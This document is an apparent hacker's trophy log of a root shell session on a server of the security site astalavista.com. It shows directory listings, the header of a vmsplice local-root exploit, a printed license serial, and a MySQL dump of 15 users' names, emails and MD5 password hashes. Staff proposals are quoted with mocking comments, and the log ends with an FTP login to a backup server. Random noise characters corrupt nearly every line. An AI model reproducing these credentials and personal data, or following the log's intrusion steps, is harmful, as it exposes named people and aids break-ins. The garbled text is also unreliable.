( n% |) a& M. q?>4 P; d. @. v6 `2 W" v) n* g) S
5 G* M, m# _% Ish-3.2# cd ..% _1 M5 V4 C& C, M- T5 `
sh-3.2# cd com6 h1 a% ~" R0 g, V) [. u
sh-3.2# ls -la7 l" g2 v% }+ D* M* [5 Q5 q
total 141208
4 T/ @# S+ z" t- [- X) p, w0 E9 Ddrwx–x–x 10 com com 4096 Apr 28 12:40 .
7 o) W! y, e. g9 J6 Rdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
' }9 @) G# n; t" G7 Udrwx—— 2 com com 4096 Jun 4 04:04 backups1 q( X4 ^1 q8 E& y
-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
# p3 ^. K" X) X0 Zdrwxr-xr-x 2 com com 4096 May 12 15:20 backup_system+ a! @* P6 U3 g" b3 H4 E" J
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history/ y! |+ {5 {, Q4 G1 P
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout
: i7 X+ J1 Z8 z7 x( d; W$ X-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
# E0 y3 k- Q/ u-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc
& l) ]. q/ d6 v- Ydrwx–x–x 3 com com 4096 Jan 29 2008 domains
9 P, C- y4 V a$ X2 y( T' V-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
! n' ]3 G6 G4 r+ W8 m5 }drwxrwx— 3 com mail 4096 Jan 6 19:24 imap# }; I! T7 J5 \* w$ r: f$ c
-rw——- 1 com com 69 Nov 18 2008 .lesshst
6 @* }+ A$ @/ @' \) ?drwx—— 2 com com 4096 Sep 24 2007 mail# A# g5 N/ s$ p& |* t7 `
-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history# _' H1 O3 v6 R' Y5 W( Z
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
9 k, U% L7 i8 ~8 ^; `: ^% Hlrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
6 u- f" c0 D/ B1 ~4 S-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
0 b. D4 G5 o& t- adrwx—— 2 com com 4096 Aug 26 2008 .ssh
% j* ?6 _7 B6 n) W6 R8 T-rwx—— 1 com com 8515 Feb 10 2008 t" Y {/ r- G" R. _8 R( q! v
-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
# Z) z: ]* N1 W6 Ydrwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
4 ]- _* W' D& ]- f. D7 ^( R$ j9 p-rw-rw-r– 1 com com 617 May 20 2008 .toprc# ~% K( D i7 k
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql# a) A3 s; F) I
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo8 E4 z x. ?2 L
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
6 {! H1 \5 w4 a8 B; h7 Y4 E; z9 s# V" t
sh-3.2# head t.c
W* |& ?" z& O/*
$ j# K2 R5 C# g* jessica_biel_naked_in_my_bed.c; _+ e' o- T; l8 Q/ k* f
*# E! n! _. h# z+ q/ ~, i0 b
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
9 a' Y( W1 N3 M' I* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca." y' V( d' c l" B2 B( f/ }% _
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
/ j4 K: I. K0 x" l6 P*0 k6 {- w% ~; a! A
* Linux vmsplice Local Root Exploit
0 Y! A$ S0 P* \% p8 f! a6 m. C1 g- E* By qaaz1 O+ p' q! H3 s; V
*/ ~9 L6 I4 [- g
7 c/ R& E! ^0 O% U- \
sh-3.2# cd /7 k9 I/ `( F* J
sh-3.2# ls -la3 u# x! m; O3 H7 M
total 360
! H, S3 O5 m0 C! B5 {drwxr-xr-x 25 root root 4096 Jun 3 02:43 .% [' y5 v, B. x( {0 ?
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..& u9 O7 B3 E; Z2 E2 g
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group( B& J- |: O) Z s
-rw——- 1 root root 10240 Jun 3 02:39 aquota.user
) ^( @/ \8 ?; H- Z) T-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
- S, L3 \9 F" q2 V7 v-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck0 D# ^6 r$ [ ` ]$ B; c
-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel' d3 `# _8 f- _7 w) L- u
drwxr-xr-x 3 root root 4096 Dec 29 2007 backup
9 S- Z1 Z" u% l7 J+ A* |drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
( c4 m0 C% l9 a0 [drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot4 ^1 e* O$ T w1 @
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev$ d) n' ~# s4 K! h6 D; g
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
# M/ o Q6 x$ Q# I0 {9 a2 Zdrwxr-xr-x 14 root root 4096 Mar 11 17:56 home
$ V/ _" ^' Y% P( Q/ M-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf
; _ P# ~# a/ B8 {. n Sdrwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
: F, q( Z, M$ wdrwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64( V; Z) p& @1 O& Z8 h5 j. R2 v
drwx—— 2 root root 16384 Sep 11 2007 lost+found1 F. f. y: a7 J8 G* K8 T
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media% H' U6 y5 |4 T; L
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc% X; X" ?; n0 ~$ K" h" E" k
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt% |1 `5 @$ m* ?2 }
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg6 N5 A4 A- p- E# J& E
drwxr-xr-x 2 root root 0 Jun 3 02:43 net
7 i+ s; A* C' h& w$ \drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt, h& j6 c9 d D& a* Y4 B, d( N8 M
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
: r1 H( }; }8 M# D" C$ Ndrwxr-x— 15 root root 4096 Jun 4 08:40 root! g1 q& E o! }5 N8 t$ p2 j8 h2 g
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin% h& |! l4 |: [0 F
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux$ u6 u, z7 {/ b" f2 g* g2 t4 Y, N
drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv8 w- `( q% P/ e$ `8 e6 {" M
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys( L4 L$ V- B8 ^* U3 y: X
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp
' ^. G- e" @5 p0 q. h% Xdrwxr-xr-x 16 root root 4096 Jun 2 13:56 usr+ b% _/ Z2 Q4 s {: L: S. z& v
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
6 d- ~) B4 \; ?9 i' g
1 @7 T6 T9 [- r; R! p: y% lsh-3.2# cd opt
) u& e& L5 v0 p* P q6 ysh-3.2# ls -la
( O1 o/ r/ Q1 O' T' Q5 W/ atotal 20
# N" X' i/ J j- q$ N5 d0 B" udrwxr-xr-x 3 root root 4096 Mar 11 17:56 .
9 W4 C: [( d- ?9 J1 o3 o- Udrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..$ B/ x! T0 x( w: ]4 r
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws. C8 O0 e$ z. A+ o: T8 M5 E
5 j. I2 O" Z: G, b7 z. i- ~0 ]7 R1 g
sh-3.2# cd lsws/
5 ^) b3 Q( v! r: D. Z9 Dsh-3.2# ls -la
% Z6 ?- u; ~* u( ~total 108
" p$ G; h9 K" b% K' L. c0 D6 m* e- k! Odrwxr-xr-x 15 root root 4096 Mar 20 2008 .
7 [1 H8 C& s1 [1 idrwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
9 I+ _" G7 L" F, A5 u# `drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons* `: s' l0 U* }
drwxr-xr-x 13 root root 4096 May 29 15:10 admin
7 L7 I$ m! y( S1 h' B% c( ldrwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate8 R+ `5 D! G. I8 H% ~, t6 z% i+ T
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
' K6 b3 D& Y3 X/ idrwx—— 4 apache apache 4096 Jun 3 02:43 conf$ s$ T! J( c2 n M r; l7 n
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT8 B8 m. _* @/ F
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
- O$ F3 \* m- ?drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
. D+ f5 |4 j8 hdrwxr-xr-x 2 root root 4096 Sep 15 2008 lib
4 j, g* U T- J# u-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE1 \* d/ @/ w% [8 ~8 D T
-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
" w2 e. n9 v/ e/ F: ~( Z# D-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL7 V/ y4 I8 ^5 D- P
-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP; \' M2 j% {5 \2 L
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
* X7 D! w) t: V; jdrwxr-xr-x 2 root root 4096 Mar 20 2008 php
+ j2 Z# g% ]+ k2 k6 s$ Hdrwx—— 2 apache apache 4096 Mar 20 2008 phpbuild$ [% ~" C$ w- m, t
drwxr-xr-x 3 root root 4096 Mar 20 2008 share! h! }' I- ^; G
-rw-r–r– 1 root root 6 May 29 15:10 VERSION
5 _6 u# @2 P$ F" b
% r5 S# A6 y# C4 D1 s/ Qsh-3.2# cd conf
1 z7 C6 ?1 o+ w8 C) F" Ish-3.2# ls -la
0 n/ B3 n# f- ]9 E: j, Ltotal 48
$ s, w3 u: ^: @& F; hdrwx—— 4 apache apache 4096 Jun 3 02:43 .
1 T C" C9 x7 a, u8 H$ }$ _) ldrwxr-xr-x 15 root root 4096 Mar 20 2008 ..
& J/ m) l6 H2 Q) w" idrwx—— 2 apache apache 4096 Mar 20 2008 cert" d: Z% _: `, G# s$ i
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml) W7 O& A& c G6 n9 b
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
: Z/ L) g9 z. t( X-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
) t3 @1 {! n/ ~& A- v O-rw——- 1 apache apache 256 May 29 15:10 license.key2 k) g- Q; u3 d4 Y# k- k
-rw——- 1 apache apache 256 Mar 21 2008 license.key.old
: |$ @/ L/ K; R+ e! a C! K! P-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties. R; f. D* B+ V3 G& E% C/ ]" o
-rw——- 1 apache apache 20 May 29 15:10 serial.no0 ^" R, M; y, C: q0 h, {) }
drwx—— 2 apache apache 4096 Mar 20 2008 templates( N. u+ w% C2 D! b- z- `
8 G7 l `1 D1 E- l' ?
sh-3.2# cat serial.no" B8 Y; e/ n( d8 g, h
IbDl-oVsO-CKqL-wVRa, h7 ` _2 H6 j6 W5 t
/ f% P. M; {) P% S3 u h) E6 T6 a5 }
sh-3.2# mysql
9 H( x* n7 k& {* G) nWelcome to the MySQL monitor. Commands end with ; or \g.
& Y, B4 }) L) GYour MySQL connection id is 2868446 Q- U2 t/ b) I- c7 T3 T6 J
Server version: 5.0.45-community-log MySQL Community Edition (GPL)) \3 N; M L0 D0 j- c0 }
) C: L S' A9 r7 E/ B2 `1 c& r4 C2 z
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.2 f, m% Z! X% ~* y
, p0 i6 r: N) u3 x
mysql> show databases;
- ^- {5 g# l- ^: K+———————–+2 D' b, A0 S2 U) O4 \
| Database |
3 M ?8 I4 d9 u8 E8 E+———————–+, ~) ?4 {% S- W& b: l
| information_schema |
7 m, n' ]# Q% a g$ M| astanet_ads |
3 s$ J- y* `! e+ u| astanet_mailing_lists |
, ? K$ k% \( E| astanet_mediawiki |
% X1 i! U- ~) z; T* Z3 g| astanet_membersystem |
8 |8 d/ d- @+ |& A# X T1 G% l& U| com_contrexx |5 d8 l* E- H* D' i% [5 A
| com_contrexx2 |
/ e) x" l8 d: Z& ~/ s& I2 b; M| com_contrexx2_live |
/ u/ l/ Q3 g* Z! {/ e- i- x- L, Y% {* i7 d| da_roundcube | b" _. e" p2 c. j; W9 B
| dolphin |8 }5 @/ D" f0 d# @1 S& [7 w
| ideapool |
+ ?9 ?) i& H- G2 y# o8 I| mysql |, a8 `# U, \. ?8 ?) }( k+ `2 b
| test |
+ Y8 W6 U1 a. |' R! A3 j" `| yourmaster |
1 C: M7 ]# f# j( Y; c8 C+ g( b+———————–+
' W! d$ W/ p1 x" V# a6 v' Y( G14 rows in set (0.00 sec)8 c: @1 J5 P, l# T9 N# v: a( `
9 }/ K0 P- @- J) ?. u* nmysql> use ideapool$ |7 U& K# y& O
Database changed4 b! u$ x# k' [/ \
mysql> show tables;
( K* B( K* `2 D! D8 F+———————————–+
8 u7 p( |) p% F8 x q2 j* R| Tables_in_ideapool |
: w" ~( e- ~1 U7 [/ Q+———————————–+
; D, V& J3 |8 L+ V* o| eventum_columns_to_display |
# W$ t) Y9 ^; ?| eventum_custom_field |# O1 j5 S& ?6 ?7 w; q+ g+ x4 m
| eventum_custom_field_option |4 F! I- O9 B( s
| eventum_custom_filter |
2 N" O2 E$ j1 I+ D/ I( V1 f( S. c| eventum_customer_account_manager |
0 }, p& ^1 G4 X i9 P6 Z/ G* g| eventum_customer_note |' l; C; c, ~9 I
| eventum_email_account |
9 B% ~: q4 g! M5 ~) Y& B: X( j! A( J| eventum_email_draft |6 [5 x+ T7 F* H4 g* d( |
| eventum_email_draft_recipient |
+ r1 P6 A; t, T0 D& Q& n| eventum_email_response |
2 m: a6 M: ]4 Y! e| eventum_faq |" x, m- h- H) ~5 l$ ~* d7 v
| eventum_faq_support_level |
: R0 J1 k' x# Y| eventum_group |3 v) [+ y, x- G2 Q
| eventum_history_type |# b& _- {( N: g# @, O) ]
| eventum_irc_notice |3 V5 O6 w9 ?- `$ o% ~0 H7 m) j( K
| eventum_issue |
; X. S! f7 e: g| eventum_issue_association |
6 ]2 Z r: v8 G| eventum_issue_attachment |
- d8 E/ G8 Z9 o- t S| eventum_issue_attachment_file |; L# H+ K4 b* x" U3 _" b8 M
| eventum_issue_checkin |
' m0 r+ M1 d0 W9 J; [ H| eventum_issue_custom_field |7 r/ n' D( c; D% R' [
| eventum_issue_history |, r6 i/ q+ H0 k2 X
| eventum_issue_quarantine |( O, \0 P% E' i
| eventum_issue_requirement |
" }# M% s9 i0 u" ~| eventum_issue_user |2 b& M4 r4 d7 k+ P
| eventum_issue_user_replier |
7 U6 b% \8 Z, w: e| eventum_link_filter | H7 S- A8 G3 X. z* e
| eventum_mail_queue |
& R. M2 Z8 H+ X7 Y| eventum_mail_queue_log |
1 ^& M$ {* T9 j+ D| eventum_news |
9 [5 c, ]! S. I" I| eventum_note |
e3 s. W, v. [6 x0 Q| eventum_phone_support |' o8 Y0 x1 @' A" ~& q) |/ D
| eventum_project |% e" ]; y1 e* `6 Z3 l
| eventum_project_category |/ e" c# W$ d3 o! b* f- L
| eventum_project_custom_field |: |6 \% \) I( N, }
| eventum_project_email_response |
* c3 X1 p4 q {- }| eventum_project_field_display |9 T1 {" l: x) B% w5 m0 j
| eventum_project_group |1 K9 Y1 l: L, n7 n8 d: B( H" |: f
| eventum_project_link_filter |
" e/ |3 x) Z& q" \/ t| eventum_project_news |. e( _/ e! {. u3 | k& d
| eventum_project_phone_category |
, o- T, U; N6 T; h- g; e4 L$ b" r| eventum_project_priority |
) a) [9 [. @5 [' }) G| eventum_project_release |% G6 t# d0 k/ h- f% H2 \. t
| eventum_project_round_robin |) G4 x% S. X3 M9 l
| eventum_project_status |
3 S# \* I% O; u. s4 o| eventum_project_status_date |6 w5 ~% e: @& y6 _8 Q0 {
| eventum_project_user |
3 F: i" S4 ~& U| eventum_reminder_action |# f. L, ]1 ?% A" ~
| eventum_reminder_action_list |; b% }5 o q! I8 t
| eventum_reminder_action_type |
: l v7 B0 ^) E| eventum_reminder_field |- H: j, ]0 r, s, M0 _! f
| eventum_reminder_history |
) }& a- V" n$ `! [5 _| eventum_reminder_level |
4 }8 ?; S4 L D% F% O| eventum_reminder_level_condition |
5 s% K- r3 j/ i5 a- K| eventum_reminder_operator |
R2 \2 [8 o# Q# R, p| eventum_reminder_priority |
) U) k; K9 G4 j: C| eventum_reminder_requirement |% n- F) M4 A8 _3 C4 f F
| eventum_reminder_triggered_action |- B; N. Y- S$ {8 a( I
| eventum_resolution |) V5 G, ~6 S7 i
| eventum_round_robin_user |" g/ M+ A. ]: k2 u: t" B
| eventum_search_profile |6 h/ m7 N" O& n f2 @1 D# O
| eventum_status |" z$ p1 M5 j( R9 b' \0 o+ v! `
| eventum_subscription |% C) Q$ h/ K* j# k4 Y! c$ Y6 h( ~4 g
| eventum_subscription_type |6 R& N1 M9 q0 `1 P, |* S4 H
| eventum_support_email |
7 U5 H- M5 @% @% N( }, A8 T; ?. y. D| eventum_support_email_body |5 X3 [$ `, Z, K" V
| eventum_time_tracking |
* L7 p2 _* b0 t4 c( [( I: a| eventum_time_tracking_category |( S4 F7 V0 H$ x X
| eventum_user |
, Q' o0 T" {3 Y+———————————–+
; B" P) V0 A, b& ] ~69 rows in set (0.00 sec)2 a: b! Z3 T+ R$ z" K
+ Q" b+ _ g2 y- n- ~4 J
mysql> describe eventum_user;; S! H" H& r9 K0 r K
+————————-+——————+——+—–+———————+—————-+: V1 J6 l" h, O8 v# f% z$ c8 V, `
| Field | Type | Null | Key | Default | Extra |. x; j' f4 b+ v5 i
+————————-+——————+——+—–+———————+—————-+8 ]. O2 Y5 E8 z) R0 b- E, Y2 M
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
. f, N1 `+ o7 Q" n8 s1 W0 ]| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
, a2 V$ V) H) ^) D/ ?% t) H| usr_customer_id | int(11) unsigned | YES | | NULL | |
5 F2 D) b1 C; U% t& d| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
' G1 ]7 a8 `2 g1 P a6 y- d| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |& p" D9 _. Z& d4 D( \1 V5 a
| usr_status | varchar(8) | NO | | active | |
6 b8 b3 I; ~) B: ^| usr_password | varchar(32) | NO | | | |& q6 f6 C: S V! I9 @3 K# T" M) i6 E, F
| usr_full_name | varchar(255) | NO | | | |
* G" a8 {# o) p& Q$ h| usr_email | varchar(255) | NO | UNI | | |5 e, T: |2 P6 @0 o* K- V; y1 H
| usr_preferences | longtext | YES | | NULL | |
5 L6 v- j6 t; a) @& n5 |8 x0 o| usr_sms_email | varchar(255) | YES | | NULL | |
6 W* A) x4 I) t+ g/ H: p| usr_clocked_in | tinyint(1) | YES | | 0 | |
! e. F! U( ^" p3 b& V3 P| usr_lang | varchar(5) | YES | | NULL | |" d# P$ z z0 o) P. G) x
+————————-+——————+——+—–+———————+—————-+
9 S9 S$ R! O9 s/ S; D: h' _13 rows in set (0.00 sec)
O" K: F% K. v$ A$ W7 p, F; ^ A* M ?
mysql> select usr_full_name,usr_email,usr_password from eventum_user;! _) j+ A, O7 U
+———————-+——————————-+———————————-+
" L* F5 u, s. J# F' z| usr_full_name | usr_email | usr_password |
1 H# q8 L6 C$ O/ k+———————-+——————————-+———————————-+
( U. P! W" P: u4 M. z/ v& k9 @| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |! A9 p# |( e) H7 L9 X1 r
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
' w! I: |1 n. R9 `) [9 @. d% X| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce | |5 ~+ t: a6 W+ u q
| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
& }4 x2 v: ^4 [+ ]) J| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |7 c! {5 m2 |, Y: t
| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
( t& K/ k" N1 q, _- L/ @| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |! R3 L' M7 U# Y1 O4 j' C* l5 ?
| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |2 Y7 j" i1 h# ]% I. Y0 b$ @1 f" j
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
" U% ?9 S7 a4 d# R. ]1 T6 J| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
0 P( @0 K% c; k) W| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
2 ~9 U( ~* \9 \+ z0 x$ O, ?/ w| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
' ?7 F r5 W( `6 S' z| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 | w) U9 U; M* \ P% O
| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |# S: ~" a* ~1 E* \: @1 A
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
* c+ F( z, i; _! P, w+———————-+——————————-+———————————-+
+ s" x7 H+ o* z, C- x& U15 rows in set (0.00 sec)
) Z. `+ ?$ Q( q! ?, Q* C& P0 u! F/ Y! r+ j, ?
mysql> select iss_description from eventum_issue where iss_id = 43;9 X$ r; j# t N
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
) y* @+ u% k, w9 g+ f| iss_description $ D" U6 Y5 u4 z t* I& Q/ o
|
, b9 \3 s3 Y2 e$ y0 E/ k$ D) [" r1 v+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+% J- w2 J- x# J% Z; i
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be+ a* Y- ]9 ~+ d/ w# C6 ~1 {
connected for 90 mins… 120mins… so what i propose is something like:" ?( T8 N5 Y6 D
链接标记[url]http://www.surfthechannel.com/[/url]0 u) U5 b+ K3 n! G
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
$ H* s* C* c3 L5 ^like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t$ I7 R" u+ n, L" x0 ~. L
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
1 Q" I, o- U8 h. {7 {- Cif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA… l8 @3 o [" x+ c
( F; N& q& |: y) M5 J4 j
We could also put advertisement during play on the flash video player itself… extra $$…
2 `- P3 s0 p( g/ G" o9 `: V9 M f
0 V, i5 h- s1 v) mBy sykadul |! m- C$ b3 N9 }; [: {9 Q; T
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+- {4 }5 H" X+ j$ x V
1 row in set (0.00 sec)8 a2 R: @% b* m* E9 Y K# H" S/ _1 n
% x/ ]0 R4 `# a- I- O! A8 I
// Money and extra $$ is all they care about. remember that., F+ u8 G- X6 ]! a9 u8 Z- e9 e
; |! q7 {6 q6 z0 G) R8 k* F4 q1 Y- E$ M
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;- {( G3 S: K+ _0 ]2 y- o
+————————+——————————————————————————————————————————————————————————————————————————————-+
7 G- ~ n3 i7 d+ b0 R0 [. m+ U| iss_summary | iss_description ! `% H1 Q2 h! Z& p0 @7 C5 E+ H
|
8 Q: t" }, i- X% B, b4 \) K0 ^+————————+——————————————————————————————————————————————————————————————————————————————-+( ~. O- ^% f8 G# k7 E( |. x. w
| Forum for REAL EXPERTS | Hello, ?3 c9 q# A! t* j4 d; h, ]1 w/ u
& C1 m( [' E% m/ W: {
Ishtus and I,
5 P! ?. ? Z: e9 b5 `! N: e: N) m1 h/ Y4 m5 L0 l# ]1 y
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide$ O- ^1 H1 S$ z
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
" u& m3 o6 Q4 A' g6 Z; |4 i( n4 H0 Z) T; s J
One example a friend of mine from coresecurity.com!8 A0 f0 ^! z+ m" p
c7 T( T/ |- G( Q7 n
We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
S5 b4 _1 `& l: L* [) S6 O& O; z7 B
|
. p+ P0 v8 {9 a' s4 ?% p; I+————————+——————————————————————————————————————————————————————————————————————————————+5 C4 U, Z, r: v- v
1 row in set (0.00 sec)& r% |" ~) r9 Y5 N1 V r4 k6 [
5 r" k1 `5 r: L0 @! S) s
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
- z. X! v& p7 \2 K% S, C7 n; Q$ W. k3 W3 t0 v# N9 b* ~+ z( u4 Y
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
. E! P- v6 ^7 W2 U8 b2 O+——————+———————————————————————————————+5 R- N" l4 R5 S. ~3 u
| iss_summary | iss_description |
; m! ~# N* U$ k: b/ Z+——————+———————————————————————————————+
$ U: l" W7 I0 |' G$ B* O| Website guidance | Virtual Girl which guides you trought the website.
/ k/ X. ^2 n; c+ ]; _- g. W8 Z7 K! j
0 h; d! V7 e$ I0 @- H, vWe need a girl with who you can ( talk )!!!
D/ X6 v. O2 N QAlso for the News!
9 L. j3 p- z% x4 P9 B/ p3 WSo my suggestion is a girl who read you the news loud if you like!
) @1 T, I$ C Y4 `3 t" J. T% `you can choose between read yourselfe or she read it for you or both!/ H* ~, l. Q+ x
7 p) n8 v6 ~: H$ T) N& h6 j7 u8 HGo to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!& }$ d5 J! p# g$ v/ T7 g# a6 {2 T
- ?. V1 x7 s* h" w
Have a look on the example girls!!
- a- K/ Z1 V" B! u7 s* M2 z# C2 }1 S( \. }- j5 I5 k7 H4 v
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
9 G0 H7 p! a6 b/ E% P1 W E2 G, L" U8 M% }7 J* w
or that
* Q0 W6 @1 O$ C! ?" D. N8 ~( l0 T; s, S/ k& F2 {+ G1 E' A
链接标记[url]http://www.yellostrom.de/[/url]0 ]2 w8 X0 ?# q4 y7 C" S2 \+ E
2 n1 i; j- y* w! ~. E8 G4 R9 P
|9 i4 a% r! _/ N. j5 |# ~
+——————+———————————————————————————————+
* L( ~5 G8 s* Z. u1 row in set (0.00 sec)
* C" q" U+ g0 \$ X
; I8 d2 O/ O5 l4 O) \// ha ha.. ~, h2 v% K& e/ @3 J4 u# d
" d5 ^+ O$ ^7 V; ymysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;+ j" c2 R; ~! \0 F2 |
+————————–+———————————————————————————————————–+1 d* }" c& s; f
| iss_summary | iss_description |
- F& ^% f( A7 v4 @3 u+————————–+———————————————————————————————————–+& _; s; E6 R. l; y9 ?, D
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
2 a9 y4 R: |* X4 V( I+————————–+———————————————————————————————————–+; C- E6 [! ~7 {
1 row in set (0.00 sec)5 `% y* Q0 |0 V+ u. @$ U) t8 j
. u2 n( D* B6 V/ B
// LOL.
1 f( G% z8 L. R4 G# F% j( `3 r3 U7 S2 Y$ R" Z
mysql> exit
7 R# n$ R9 ?( t) H# H; RBye0 E! q$ K. J0 r q
5 d: `: f) j- v! b( y' Z8 }( C+ O0 I" m
sh-3.2# ftp 212.254.194.163
: i3 |5 j8 D5 l3 @5 h: ^6 H: uConnected to 212.254.194.163.
- S- a, N5 D' O1 y* K5 R' F220 BackupCOM_VW FTP server ready.
7 ~- ]+ Q$ H q4 J504 AUTH: security mechanism ‘GSSAPI’ not supported.
) ]# {( ^8 Q& q/ x/ P504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
7 O. b# V' A3 U/ N6 ~KERBEROS_V4 rejected as an authentication type+ L! P* @, T1 q- A
Name (212.254.194.163:root): astalavista.com
: s7 `/ W- p9 B5 E$ p2 U# Y331 Password required for astalavista.com.+ e- y" J( X. M, L4 Y4 X7 s
Password:
; _4 t1 D0 j! x0 g1 P8 D230 User astalavista.com logged in.. _) ]" D0 V5 C8 p4 v5 D/ M
Remote system type is UNIX.& r- R1 J- D5 `5 v
Using binary mode to transfer files." P& F3 D. n! f" }+ h' O1 x, v( M
ftp> ls -la# y& F. K/ [/ L9 L0 ~; m) k
227 Entering Passive Mode (212,254,194,163,2,188) u/ Q, y9 E. d' @, y
150 Opening BINARY mode data connection for ‘file list’.2 x- j9 ]( V+ F+ _+ N. }
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com" _2 q$ |& J; o/ x7 ?
226 Transfer complete.4 l# {" @( ?2 P! b
ftp> cd astalavista.com% d8 R- ?" r! J: U
250 CWD command successful.
